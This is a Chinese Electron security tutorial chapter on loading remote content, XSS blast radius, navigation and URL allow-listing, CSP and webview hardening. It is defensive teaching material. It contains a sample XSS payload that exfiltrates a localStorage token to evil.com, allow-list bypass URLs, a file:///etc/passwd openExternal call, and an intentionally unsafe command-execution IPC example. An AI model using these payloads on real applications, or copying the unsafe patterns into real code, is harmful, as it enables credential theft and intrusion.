Electron 安全第三章:URL 加载与 WebView

第三章:Renderer 里的代码,到底来自哪里?

上一章结尾留了一个问题:Renderer 里的代码,到底来自哪里?

很多人的第一反应是:当然是我写的代码。这只对了一半。

Renderer 里跑的,是你加载进来的东西。这一章就讲它引出的一连串问题。


3.1 远程内容永远不可信

加载本地资源,代码是你的:

js 复制代码
win.loadFile(path.join(__dirname, 'index.html'))

它经过你的手、经过构建、经过发布,内容大致可控。

加载远程页面,代码是别人的:

js 复制代码
win.loadURL('https://app.example.com/')

它在别人的服务器上。别人在更新,也可能被别人动过。

麻烦在于:Renderer 不认"出身"。加载进来之后,远程代码和本地代码跑在同一个地方,摸得到同一份 window.api

所以原则只有一句:

远程页面从加载那一刻起,就按不可信内容对待。

3.2 HTTPS 远远不够

不少应用加载自家后端页面,觉得 HTTPS 加自家域名,够安全了。

但域名是你的,链路不全是你的。域名可能过期被抢注,服务器可能被攻破,CDN 可能被投毒。

更常见的是:你的页面自己就在引入别人的代码。

html 复制代码
<script src="https://cdn.example.com/analytics.js"></script>

这个 CDN 一旦被投毒,链路就是:

text 复制代码
别人家的 JS 进你的 Renderer → 开始摸 window.api → 摸到什么用什么

HTTPS 只保证"传输途中没人改",不保证"对方是好人"。

所以要问的不是"这个站点可不可靠",而是"它如果被攻破,在我的应用里能做什么?"

3.3 XSS 的危害,由你暴露的能力决定

在 Web 上,XSS 得手之后通常是偷 cookie、伪造界面。

在 Electron 里,XSS 得手后第一件事是"摸环境":

js 复制代码
typeof require        // Node Integration 开着吗?
window.api            // Preload 暴露了什么?
window.electron       // 有没有老代码把整包能力挂在 window 上?

摸到什么,就决定它能走多远。

nodeIntegration 开着,故事到这里就结束了,直接 RCE。

关着,就看你暴露了什么。你暴露的是这个:

js 复制代码
getCurrentUser: () => ipcRenderer.invoke('user:get')

它最多偷走用户信息。你暴露的是这个:

js 复制代码
executeCommand: (cmd) => ipcRenderer.invoke('exec', cmd)

那恭喜,攻击者拿到一个 shell。

XSS 的危害半径不取决于 XSS 本身。XSS 只是入口,能造成多大危害是你决定的------这也是前两章反复讲最小暴露的原因。

3.4 防住页面的三种跳转

就算页面本身干净,它也可能被"带偏":一个恶意链接、一次跳转,Renderer 就从你的域名去了攻击者的域名。

页面能发起三类跳转:

站内跳转,用 will-navigate 控制:

js 复制代码
win.webContents.on('will-navigate', (e, url) => {
  if (!allowed(url)) e.preventDefault()
})

打开新窗口,用 setWindowOpenHandler 控制:

js 复制代码
win.webContents.setWindowOpenHandler(({ url }) => {
  return allowed(url) ? { action: 'allow' } : { action: 'deny' }
})

跳去外部,用 shell.openExternal。这个最具有欺骗性:

js 复制代码
// ❌ 看起来是"帮用户打开链接",实际是把用户的 OS 递给入参
shell.openExternal(userInput)

它调用的是操作系统的协议分发,传什么进去,就触发什么:

js 复制代码
shell.openExternal('file:///etc/passwd')   // 打开本地文件
shell.openExternal('ms-settings:xxx')      // 在 Windows 上拉起系统应用

正确姿势是先解析、只放行 https:

js 复制代码
// ✓ URL 是结构化的东西,就按结构处理
function openExternalSafely(input) {
  let url
  try { url = new URL(input) } catch { return }
  if (url.protocol === 'https:') {
    shell.openExternal(url.toString())
  }
}

前两类跳转里的 allowed 也有同款坑,下一节专门讲。

3.5 实现allowed Url

很多人的白名单是这样写的:

js 复制代码
// ❌ 字符串前缀 ≠ 域名白名单
const allowed = (url) => url.startsWith('https://app.example.com')

看着没问题?攻击者只需要注册一个"以你家域名开头"的域名:

text 复制代码
https://app.example.com.evil.com/   ← startsWith 返回 true,主机是 evil.com
https://app.example.com@evil.com/   ← 更阴:app.example.com 只是用户名,@ 后面才是主机

第二条尤其容易看错:app.example.com 在 URL 里是 userinfo 部分,真正的主机是 @ 后面的 evil.com

问题根源:URL 是结构化的东西,字符串前缀不是结构。正确做法是先解析,再按字段查:

js 复制代码
// ✓ 先解析,再谈字段
const allowed = (url) => {
  let u
  try { u = new URL(url) } catch { return false }
  return u.protocol === 'https:'
      && u.hostname === 'app.example.com'
}

需要放行子域名时,注意那个点:

js 复制代码
u.hostname === 'example.com'
  || u.hostname.endsWith('.example.com')
// a.example.com 过;example.com.evil.com 不过

3.6 用 CSP 限制页面能执行的代码

白名单管"页面能去哪",CSP 管"页面能执行什么代码"。

没有 CSP,XSS 进来就是敞开的:

html 复制代码
<img src=x onerror="fetch('https://evil.com/?c=' + localStorage.token)">

内联脚本直接执行,数据顺手发去 evil.com,一气呵成。

加上 CSP,同一个 payload 两步都走不动:

text 复制代码
default-src 'self'
→ 内联事件处理器不执行(没有 'unsafe-inline')
→ 就算执行了,往 evil.com 发数据也被拦(connect-src 只认自家域)

CSP 不是建议,是浏览器引擎强制执行的白名单。在 Electron 里可以在网络层注入:

js 复制代码
session.defaultSession.webRequest.onHeadersReceived((details, cb) => {
  cb({
    responseHeaders: {
      ...details.responseHeaders,
      'Content-Security-Policy': ["default-src 'self'; script-src 'self'"]
    }
  })
})

本地页面直接写在 meta 里也行:

html 复制代码
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'">

取值原则还是最小权限:只放行该放行的,默认全拒绝。

3.7 WebView 默认关闭

要内嵌第三方页面,第一反应往往是 webview 标签。

要小心,这等于在 Renderer 里再嵌一个浏览器,里面加载的东西比你的页面更不可信。

错误写法,把配置主动权交给页面:

html 复制代码
<!-- ❌ src 随页面写,还顺手开了 Node -->
<webview src="https://ads.example.com" nodeintegration></webview>

这等于多开一个不受控的加载点,还把 Node 能力递了出去。

webviewTag 默认是 false,保持住:

js 复制代码
webPreferences: {
  webviewTag: false
}

如果真要用 webview,就在 will-attach-webview 里把配置权收回来:剥掉 webPreferences、src 使用白名单、不添加 allowpopups

js 复制代码
win.webContents.on('will-attach-webview', (event, webPreferences, params) => {
  delete webPreferences.preload
  webPreferences.nodeIntegration = false
  webPreferences.contextIsolation = true

  if (!params.src.startsWith('https://trusted.example/')) {
    event.preventDefault()
  }
})

这里查的是"你认定可信的域"的固定前缀,和 3.5 里面对任意输入的白名单不是一回事。

记住:每多允许一个 webview,就多一个不可信的内容来源。

3.8 检查清单

加载任何远程内容之前,过一遍这份清单:

  • 这个页面是不是非加载不可?本地页面行不行?
  • loadURL 是不是只指向固定域名?
  • will-navigatesetWindowOpenHandler 都控制了吗?
  • 白名单是按 new URL 的字段查的,不是 startsWith 拼前缀?
  • shell.openExternal 的入参过协议白名单了吗?
  • CSP 上了吗?
  • webviewTag 关了吗?开着的话,will-attach-webview 剥配置、查 src 了吗?

全都能打勾,风险依然有,但被关在了你看得见的地方。


本章总结

  • loadURL 之后跑的是别人的代码,远程内容一律按不可信对待。
  • 自家域名 + HTTPS 只保证传输链路,不保证内容安全。
  • XSS 的危害半径,由你暴露的能力栈决定。
  • 站内跳转、新窗口、跳外部,三类跳转都要控制。
  • URL 白名单要解析后按字段校验,不要用字符串前缀。
  • CSP 限制页面能执行的代码;WebView 默认关闭。

一句话版本:你保证不了加载的内容干净,但你能保证不干净的内容做不了多少事。


下一章

这一章没有继续讨论 Renderer 权限。

因为上一章已经解决了:

复制代码
Renderer 能拿到什么能力

这一章解决的是:

复制代码
Renderer 能接触什么内容

两者组合起来,Electron 的安全边界才完整:

到这里,一个比较关键的问题就出现了:

即使页面不能直接访问 Node,也不能随便导航。

那如果 Renderer 主动调用 IPC,让 Main Process 帮它执行 Node.js 呢?

例如:

arduino 复制代码
ipcRenderer.invoke('read-file', path)

Main Process:

javascript 复制代码
ipcMain.handle('read-file', (_, path) => {
  return fs.readFile(path)
})

前面的隔离全部做好了,但这里依然可能直接把文件系统暴露给 Renderer。

所以接下来真正需要解决的,是 Electron 最重要的进程间边界之一:

IPC 到底应该怎么设计,才能既能通信,又不会把 Main Process 变成 Renderer 的"万能代理"?

下一章,我们进入 IPC 安全

相关推荐
sunoo-2291 小时前
C 语言文件 IO 全攻略:从基础函数到实战踩坑(BMP 读取 + 词典查询)
linux·c语言·前端·笔记·vscode·学习
Shinner欣儿1 小时前
React18 并发渲染小记
前端
用户921080262861 小时前
AI 对话里的消息时间线分页:上滑加载更多历史记忆的实现与坑点
前端
PedroQue991 小时前
Vue-Router 2.4.0 新增可控重定向功能
前端·uni-app
阿萨德528号2 小时前
npm 包发布实战指南:从零发布、更新迭代到版本治理
前端·npm·策略模式
IT_陈寒2 小时前
Vue的v-for为啥把我的渲染顺序搞乱套了?
前端·人工智能·后端
sir.山2 小时前
在 Vue 3 项目中使用 Mock 数据
前端·vue.js·vue3·vite
李剑一3 小时前
华为新上Pura X View阔直板手机,特殊屏幕比例设备下,前端应该怎么去适配更完美?送你一套完整工具代码
前端
0xBADCODE3 小时前
Flask SSTI读SECRET_KEY+伪造Session:税务系统渗透全流程
前端·后端·python·安全·web安全·网络安全·flask